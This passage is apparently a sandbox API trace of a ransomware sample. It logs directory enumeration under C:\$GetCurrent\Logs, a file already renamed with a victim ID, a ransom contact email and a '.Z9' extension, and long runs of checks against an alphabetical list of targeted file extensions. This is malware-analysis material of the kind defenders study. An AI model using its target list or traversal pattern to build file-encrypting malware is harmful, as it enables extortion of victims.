	[0159.717] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.718] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0159.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0159.718] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0159.718] lstrlenW (lpString="Logs") returned 4
	[0159.718] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0159.718] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0159.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0159.718] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0159.719] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.719] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a3ab30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a3ab30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34ad347e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DOWNLE~1.Z9")) returned 1
	[0159.719] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9") returned 79
	[0159.719] lstrlenW (lpString=".1cd") returned 4
	[0159.719] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0159.719] lstrlenW (lpString=".3ds") returned 4
	[0159.720] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".3fr") returned 4
	[0159.720] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".3g2") returned 4
	[0159.720] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".3gp") returned 4
	[0159.720] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".7z") returned 3
	[0159.720] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0159.720] lstrlenW (lpString=".accda") returned 6
	[0159.720] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0159.720] lstrlenW (lpString=".accdb") returned 6
	[0159.720] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0159.720] lstrlenW (lpString=".accdc") returned 6
	[0159.720] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0159.720] lstrlenW (lpString=".accde") returned 6
	[0159.720] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0159.720] lstrlenW (lpString=".accdt") returned 6
	[0159.720] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0159.720] lstrlenW (lpString=".accdw") returned 6
	[0159.720] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0159.720] lstrlenW (lpString=".adb") returned 4
	[0159.720] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".adp") returned 4
	[0159.720] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai") returned 3
	[0159.720] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai3") returned 4
	[0159.720] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai4") returned 4
	[0159.720] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai5") returned 4
	[0159.720] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai6") returned 4
	[0159.720] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai7") returned 4
	[0159.720] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0159.720] lstrlenW (lpString=".ai8") returned 4
	[0159.721] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".anim") returned 5
	[0159.721] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0159.721] lstrlenW (lpString=".arw") returned 4
	[0159.721] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".as") returned 3
	[0159.721] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0159.721] lstrlenW (lpString=".asa") returned 4
	[0159.721] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".asc") returned 4
	[0159.721] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".ascx") returned 5
	[0159.721] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0159.721] lstrlenW (lpString=".asm") returned 4
	[0159.721] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".asmx") returned 5
	[0159.721] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0159.721] lstrlenW (lpString=".asp") returned 4
	[0159.721] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".aspx") returned 5
	[0159.721] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0159.721] lstrlenW (lpString=".asr") returned 4
	[0159.721] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".asx") returned 4
	[0159.721] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".avi") returned 4
	[0159.721] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".avs") returned 4
	[0159.721] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".backup") returned 7
	[0159.721] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0159.721] lstrlenW (lpString=".bak") returned 4
	[0159.721] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".bay") returned 4
	[0159.721] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0159.721] lstrlenW (lpString=".bd") returned 3
	[0159.722] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0159.722] lstrlenW (lpString=".bin") returned 4
	[0159.722] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".bmp") returned 4
	[0159.722] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".bz2") returned 4
	[0159.722] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".c") returned 2
	[0159.722] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0159.722] lstrlenW (lpString=".cdr") returned 4
	[0159.722] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cer") returned 4
	[0159.722] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cf") returned 3
	[0159.722] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0159.722] lstrlenW (lpString=".cfc") returned 4
	[0159.722] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cfm") returned 4
	[0159.722] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cfml") returned 5
	[0159.722] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cfu") returned 4
	[0159.722] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".chm") returned 4
	[0159.722] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cin") returned 4
	[0159.722] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".class") returned 6
	[0159.722] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0159.722] lstrlenW (lpString=".clx") returned 4
	[0159.722] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".config") returned 7
	[0159.722] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cpp") returned 4
	[0159.722] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".cr2") returned 4
	[0159.722] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0159.722] lstrlenW (lpString=".crt") returned 4
	[0159.723] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".crw") returned 4
	[0159.723] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".cs") returned 3
	[0159.723] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0159.723] lstrlenW (lpString=".css") returned 4
	[0159.723] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".csv") returned 4
	[0159.723] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".cub") returned 4
	[0159.723] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dae") returned 4
	[0159.723] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dat") returned 4
	[0159.723] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".db") returned 3
	[0159.723] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0159.723] lstrlenW (lpString=".dbf") returned 4
	[0159.723] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dbx") returned 4
	[0159.723] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dc3") returned 4
	[0159.723] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dcm") returned 4
	[0159.723] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dcr") returned 4
	[0159.723] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".der") returned 4
	[0159.723] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dib") returned 4
	[0159.723] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dic") returned 4
	[0159.723] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".dif") returned 4
	[0159.723] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0159.723] lstrlenW (lpString=".divx") returned 5
	[0159.723] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".djvu") returned 5
	[0159.724] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dng") returned 4
	[0159.724] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".doc") returned 4
	[0159.724] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".docm") returned 5
	[0159.724] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".docx") returned 5
	[0159.724] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dot") returned 4
	[0159.724] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dotm") returned 5
	[0159.724] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dotx") returned 5
	[0159.724] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dpx") returned 4
	[0159.724] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dqy") returned 4
	[0159.724] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dsn") returned 4
	[0159.724] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dt") returned 3
	[0159.724] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0159.724] lstrlenW (lpString=".dtd") returned 4
	[0159.724] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dwg") returned 4
	[0159.724] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dwt") returned 4
	[0159.724] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".dx") returned 3
	[0159.724] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0159.724] lstrlenW (lpString=".dxf") returned 4
	[0159.724] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0159.724] lstrlenW (lpString=".edml") returned 5
	[0159.724] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0159.724] lstrlenW (lpString=".efd") returned 4
	[0159.725] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".elf") returned 4
	[0159.725] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".emf") returned 4
	[0159.725] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".emz") returned 4
	[0159.725] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".epf") returned 4
	[0159.725] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".eps") returned 4
	[0159.725] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".epsf") returned 5
	[0159.725] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0159.725] lstrlenW (lpString=".epsp") returned 5
	[0159.725] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0159.725] lstrlenW (lpString=".erf") returned 4
	[0159.725] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".exr") returned 4
	[0159.725] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".f4v") returned 4
	[0159.725] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".fido") returned 5
	[0159.725] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0159.725] lstrlenW (lpString=".flm") returned 4
	[0159.725] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".flv") returned 4
	[0159.725] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".frm") returned 4
	[0159.725] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".fxg") returned 4
	[0159.725] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".geo") returned 4
	[0159.725] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".gif") returned 4
	[0159.725] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".grs") returned 4
	[0159.725] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0159.725] lstrlenW (lpString=".gz") returned 3
	[0159.726] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0159.726] lstrlenW (lpString=".h") returned 2
	[0159.726] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0159.726] lstrlenW (lpString=".hdr") returned 4
	[0159.726] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".hpp") returned 4
	[0159.726] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".hta") returned 4
	[0159.726] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".htc") returned 4
	[0159.726] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".htm") returned 4
	[0159.726] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".html") returned 5
	[0159.726] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0159.726] lstrlenW (lpString=".icb") returned 4
	[0159.726] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".ics") returned 4
	[0159.726] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".iff") returned 4
	[0159.726] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".inc") returned 4
	[0159.726] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".indd") returned 5
	[0159.726] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0159.726] lstrlenW (lpString=".ini") returned 4
	[0159.726] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".iqy") returned 4
	[0159.726] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".j2c") returned 4
	[0159.726] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".j2k") returned 4
	[0159.726] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".java") returned 5
	[0159.726] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0159.726] lstrlenW (lpString=".jp2") returned 4
	[0159.726] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0159.726] lstrlenW (lpString=".jpc") returned 4
	[0159.727] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".jpe") returned 4
	[0159.727] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".jpeg") returned 5
	[0159.727] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0159.727] lstrlenW (lpString=".jpf") returned 4
	[0159.727] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".jpg") returned 4
	[0159.727] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".jpx") returned 4
	[0159.727] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".js") returned 3
	[0159.727] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0159.727] lstrlenW (lpString=".jsf") returned 4
	[0159.727] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".json") returned 5
	[0159.727] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0159.727] lstrlenW (lpString=".jsp") returned 4
	[0159.727] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".kdc") returned 4
	[0159.727] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".kmz") returned 4
	[0159.727] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".kwm") returned 4
	[0159.727] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".lasso") returned 6
	[0159.727] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0159.727] lstrlenW (lpString=".lbi") returned 4
	[0159.727] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".lgf") returned 4
	[0159.727] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".lgp") returned 4
	[0159.727] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".log") returned 4
	[0159.727] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0159.727] lstrlenW (lpString=".m1v") returned 4
	[0159.727] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".m4a") returned 4
	[0159.728] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".m4v") returned 4
	[0159.728] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".max") returned 4
	[0159.728] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".md") returned 3
	[0159.728] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0159.728] lstrlenW (lpString=".mda") returned 4
	[0159.728] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mdb") returned 4
	[0159.728] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mde") returned 4
	[0159.728] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mdf") returned 4
	[0159.728] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mdw") returned 4
	[0159.728] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mef") returned 4
	[0159.728] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mft") returned 4
	[0159.728] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mfw") returned 4
	[0159.728] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mht") returned 4
	[0159.728] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mhtml") returned 6
	[0159.728] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mka") returned 4
	[0159.728] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mkidx") returned 6
	[0159.728] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mkv") returned 4
	[0159.728] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mos") returned 4
	[0159.728] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0159.728] lstrlenW (lpString=".mov") returned 4
	[0159.728] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mp3") returned 4
	[0159.729] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mp4") returned 4
	[0159.729] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mpeg") returned 5
	[0159.729] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mpg") returned 4
	[0159.729] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mpv") returned 4
	[0159.729] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mrw") returned 4
	[0159.729] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".msg") returned 4
	[0159.729] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".mxl") returned 4
	[0159.729] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".myd") returned 4
	[0159.729] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".myi") returned 4
	[0159.729] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".nef") returned 4
	[0159.729] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".nrw") returned 4
	[0159.729] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".obj") returned 4
	[0159.729] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".odb") returned 4
	[0159.729] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".odc") returned 4
	[0159.729] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".odm") returned 4
	[0159.729] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".odp") returned 4
	[0159.729] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".ods") returned 4
	[0159.729] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0159.729] lstrlenW (lpString=".oft") returned 4
	[0159.730] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".one") returned 4
	[0159.730] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".onepkg") returned 7
	[0159.730] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0159.730] lstrlenW (lpString=".onetoc2") returned 8
	[0159.730] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
